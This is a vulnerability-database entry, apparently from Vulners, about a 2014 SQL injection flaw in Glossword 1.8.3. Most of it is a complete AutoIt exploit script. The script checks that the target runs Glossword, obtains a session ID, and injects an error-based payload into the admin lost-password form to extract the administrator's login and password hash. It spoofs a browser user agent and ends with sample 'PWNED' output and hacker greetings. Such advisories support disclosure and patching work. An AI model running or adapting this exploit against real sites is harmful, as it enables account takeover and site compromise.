Glossword 1.8.3 - SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Glossword 1.8.3 SQL Injection Vulnerability in Glossword 1.8.3 allows remote attackers to execute arbitrary SQL commands via the UID parameter in a glossa.exe http request

                                                #cs
==============================================================
Vulnerable Software: Glossword 1.8.3
Official site: http://sourceforge.net/projects/glossword/
Download: http://sourceforge.net/projects/glossword/files/glossword/1.8.3/
Vuln: SQLi
==================THIS IS A WHOLE EXPLOIT=====================
Exploit Coded In AutoIT.
To exploit this vulnerability magic_quotes_gpc must be turned off on server side.
Print screen: http://s004.radikal.ru/i206/1302/89/d7398ade1cd7.png
POC video: http://youtu.be/55IaNTQS3Fk

Exploit usage:

C:\0day&#62;glossa.exe http://hacker1.own /glossword/glossword/ 2


##############################################################
#           Glossword 1.8.3 SQL injection Exploit            #
# Usage: glossa.exe http://site.tld  /installdir/  UID (int) #
#        DON&#39;T HATE THE HACKER, HATE YOUR OWN CODE!          #
#            VULN/Exploit: AkaStep & HERO_AZE                #
##############################################################

##############################################################
[*] SENDING FAKE SESSUID: ea0f5d8c7c2c8a2f9f7c3b3e5a3d4f5d [*]
##############################################################

##############################################################
[*]                  CMS is GLOSSWORD!                     [*]
##############################################################

##############################################################
[*]                FETCHING VALID SESSUID                  [*]
##############################################################

##############################################################
[*]  Got VALID SESSUID: aa0e680bef2679932393abe72b78ef03   [*]
##############################################################

##############################################################
[*]                  !~ P*W*N*E*D ~!                       [*]
--------------------------------------------------------------
[*] Login: admin                                           [*]
--------------------------------------------------------------
[*] Password: (MD5) 260efaff0cac0f78a53ccc540e89e72d       [*]
--------------------------------------------------------------
Admin Panel: hacker1.own/glossword/glossword/gw_admin/login.php
--------------------------------------------------------------
[*]                    Good Luck;)                         [*]
##############################################################
[*]                     DONE                               [*]
##############################################################




#ce


#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Outfile=glossa.exe
#AutoIt3Wrapper_UseUpx=n
#AutoIt3Wrapper_Change2CUI=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include &#34;WinHttp.au3&#34;
#include &#60;inet.au3&#62;
#include &#60;String.au3&#62;

$triptrop=@CRLF & _StringRepeat(&#39;#&#39;,62) & @CRLF;
$exploitname=@CRLF & _StringRepeat(&#39;#&#39;,62) & @CRLF & _
&#39;#&#39; & _StringRepeat(&#39; &#39;,11) & &#39;Glossword 1.8.3 SQL injection Exploit &#39; & _StringRepeat(&#39; &#39;,11) & &#39;#&#39; & @CRLF  & _
&#39;# Usage: &#39; & @ScriptName &  &#39; http://site.tld &#39; & &#39; /installdir/ &#39; & &#39; UID (int) #&#39; & _
@CRLF & &#34;#        DON&#39;T HATE THE HACKER, HATE YOUR OWN CODE!          #&#34; & @CRLF & _
&#39;#            VULN/Exploit: AkaStep & HERO_AZE                #&#39; & @CRLF & _StringRepeat(&#39;#&#39;,62);
ConsoleWrite(@CRLF & $exploitname & @CRLF)

$method=&#39;POST&#39;;
$vulnurl=&#39;gw_admin/login.php&#39;
Global $sessid=0
$cmsindent=&#39;lossword&#39;; # We will use it to identify CMS #;
$adminpanel=$vulnurl

;#~  Impersonate that We Are Not BOT or exploit.We are human who uses IE.# ~;
$useragent=&#39;Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SV1; .NET CLR 1.1.4325)&#39;;
$msg_usage=&#34;Command Line Plizzzz =&#62; &#34; & @CRLF & &#34;Usage: &#34; & @ScriptName &  &#39; http://site.tld &#39; & &#39; /installdir/ &#39; &  &#39; UID (int)&#39; & @CRLF
if  $CmdLine[0] &#60;&#62; 3 Then
  ConsoleWrite(@CRLF & _StringRepeat(&#39;#&#39;,62) & @CRLF & $msg_usage & @CRLF & _StringRepeat(&#39;#&#39;,62) & @CRLF);
  MsgBox(64,&#34;&#34;,$msg_usage);
  exit;
EndIf


if $CmdLine[0]=3 Then
$targetsite=$CmdLine[1];
$installdir=$CmdLine[2];
$uidtoattack=Number(StringMid($CmdLine[3],1,255));
EndIf

if not StringIsDigit($uidtoattack) Then
  ConsoleWrite(&#39; UID is wrong! Exit&#39; );
  Exit;
  EndIf



if StringStripWS($targetsite,8)=&#39;&#39; OR StringStripWS($installdir,8)=&#39;&#39; Then
  ConsoleWrite(&#39;Are you kidding meeeeen?&#39;);
  Exit;
EndIf


HttpSetUserAgent($useragent)
$doublecheck=InetGet($targetsite,&#39;&#39;,1);
if @error Then
  ConsoleWrite(&#39;[*] Incorrect Domain Name/Or you are Offline! [*]&#39; & @CRLF)
  Exit;
EndIf



sleep(Random(1200,2500,1));

sendfakeretrivevalidsess($targetsite,$installdir)

HttpSetUserAgent($useragent);
$sidentify=_INetGetSource($targetsite & $adminpanel,True);

Func exploit($targetsite,$installdir,$sessid)
Global $sAddress = $targetsite
Global $PAYLOADTOSEND =&#34;arPost[user_name]=&#39;) AND (select floor(rand(0)*2) from(select count(*),&#34; & _
&#34;concat((select concat(0x3C73696B6469723E,login,0x7c,password,0x3C2F73696B6469723E,0x7c) from &#34; & _
&#34;gw_auth where id_auth=&#34; & $uidtoattack & &#34;),floor(rand(0)*2))x from information_schema.tables group by x)a)-- &#34; & _
&#34; AND 1=(&#39;1&arPost[user_email]=trueownage&a=lostpass&sid=&#34; & $sessid & &#34;&post=Send password&#34;;
Global $sDomain = $targetsite
Global $sPage = $installdir & $vulnurl
Global $sAdditionalData = $PAYLOADTOSEND
Global $hOpen = _WinHttpOpen($useragent)
Global $hConnect = _WinHttpConnect($hOpen, $sDomain)
Global $hRequest = _WinHttpOpenRequest($hConnect, &#34;POST&#34;, $sPage, -1, -1, -1, &#39;&#39;)
_WinHttpSendRequest($hRequest, &#34;Content-Type: application/x-www-form-urlencoded&#34;, $sAdditionalData)
_WinHttpReceiveResponse($hRequest)
Global $sReturned
If _WinHttpQueryDataAvailable($hRequest) Then
    Do
        $sReturned &= _WinHttpReadData($hRequest)
    Until @error

  if StringInStr($sReturned,&#39;&#60;sikdir&#62;&#39;) and StringInStr($sReturned,&#39;&#60;/sikdir&#62;&#39;) Then

$zsuxxv = StringRegExp($sReturned, &#39;&#60;(?i)sikdir&#62;(.*?)&#60;/(?i)sikdir&#62;&#39;, 1)
For $x = 0 To UBound($zsuxxv) - 1
  Beep(100,1000);
    ConsoleWrite($triptrop & &#39;[*]                  !~ P*W*N*E*D ~!                       [*] &#39; & _
  StringReplace($triptrop,&#39;#&#39;,&#39;-&#39;) & &#39;[*] Login: &#39; & StringMid($zsuxxv[$x],1,StringInStr($zsuxxv[$x],&#39;|&#39;)-1) & _
  _StringRepeat(&#39; &#39;,StringLen($triptrop)-18-StringLen(StringMid($zsuxxv[$x],1,StringInStr($zsuxxv[$x],&#39;|&#39;)-1))) & &#39;[*]&#39; & _
  StringReplace($triptrop,&#39;#&#39;,&#39;-&#39;) & &#39;[*] Password: (MD5) &#39; & StringReplace($zsuxxv[$x],StringMid($zsuxxv[$x],1,StringInStr($zsuxxv[$x],&#39;|&#39;)),&#39;&#39;) & _
  &#39;       [*] &#39; & _
  StringReplace($triptrop,&#39;#&#39;,&#39;-&#39;) & _
  &#39;Admin Panel: &#39; & $targetsite & $installdir &$adminpanel & &#39; &#39; & StringReplace($triptrop,&#39;#&#39;,&#39;-&#39;) & _
  &#39;[*]                    Good Luck;)                         [*]&#39; & _
  $triptrop & &#39;[*]                     DONE                               [*]&#39; & _
  $triptrop);
Next

Else

  ConsoleWrite($triptrop & &#39;[*] &#39; & _StringRepeat(&#39; &#39;,18) & &#39;   NO SUCH UID!   &#39; &  _StringRepeat(&#39; &#39;,18) & _
  &#39; [*]&#39; & $triptrop);
  Beep(1500,1000);
  Exit


    EndIf
EndIf
_WinHttpCloseHandle($hRequest)
_WinHttpCloseHandle($hConnect)
_WinHttpCloseHandle($hOpen)
EndFunc;=&#62; exploit();


Func  sendfakeretrivevalidsess($targetsite,$installdir)

$fakesessionID=&#39;&#39;;
Do
$fakesessionID&=Chr(Random(97,102,1)) & Random(0,9,1)
until StringLen($fakesessionID)=32

$fakesessionID=StringMid($fakesessionID,Random(1,32,1),1) & StringMid($fakesessionID,1,StringLen($fakesessionID)-1)
ConsoleWrite($triptrop & &#39;[*] SENDING FAKE SESSUID: &#39; & $fakesessionID &  &#39; [*] &#39; &  $triptrop)
sleep(Random(1000,2500,1))
$rtarget=$targetsite & $installdir &&#34;gw_admin/login.php?visualtheme=gw_admin&sid=&#34; &$fakesessionID;
HttpSetUserAgent($useragent);
$str=_INetGetSource($rtarget);
if StringInStr($str,&#34;Session does not exist.&#34;) then
ConsoleWrite($triptrop & &#39;[*]&#39; &  _StringRepeat(&#39; &#39;,18) & &#39;CMS is GLOSSWORD!  &#39; &  _StringRepeat(&#39; &#39;,19) & &#39;[*]&#39; & $triptrop);
sleep(Random(1000,2500,1))
Else
  ConsoleWrite($triptrop & &#39;[*]&#39; & _StringRepeat(&#39; &#39;,11) &&#39;NOPE:( THIS IS NOT GLOSSWORD CMS.&#39; &_StringRepeat(&#39; &#39;,12) &&#39;[*]&#39; & $triptrop);
exit;
EndIf
$i=123
$mystr=&#39;&#39;;
ConsoleWrite($triptrop & &#39;[*]&#39; & _StringRepeat(&#39; &#39;,16) & &#39;FETCHING VALID SESSUID&#39; & _StringRepeat(&#39; &#39;,17) & &#39; [*]&#39; & $triptrop)
sleep(Random(1000,2500,1))
Do
$i+=1;
if $i&#62;=4000 then ExitLoop;//Just for make sure we are not going to infinitive loop if there any error occurs.//
$mystr&=StringMid($str,$i,1)
until StringInStr($mystr,chr(34));


$sessid=StringMid($mystr,StringInStr($mystr,Chr(61))+1,32)
if not $sessid =32 Then
  ConsoleWrite($triptrop & &#39;[*] Sorry Man! Theris an error while fetching new VALID SESSUID  [*]&#39; & $triptrop)
  exit;
Else
  ConsoleWrite($triptrop & &#39;[*]  Got VALID SESSUID: &#39; & $sessid &  &#39;   [*]&#39; & $triptrop)
EndIf
$targetsite=StringReplace(StringReplace($targetsite,&#39;http://&#39;,&#39;&#39;),&#39;/&#39;,&#39;&#39;)
exploit($targetsite,$installdir,$sessid)
EndFunc;=&#62;sendfakeretrivevalidsess();




#cs

================================================
           KUDOSSSSSSS
================================================
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
secunia.com
securityhome.eu
exploitsdownload.com
osvdb.com
websecurity.com.ua
1337day.com
itsecuritysolutions.org

to all Aa Team + to all Azerbaijan Black HatZ
+ *Especially to my bro CAMOUFL4G3 *
To All Turkish Hackers

Also special thanks to: ottoman38 & HERO_AZE
================================================

/AkaStep


#ce
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1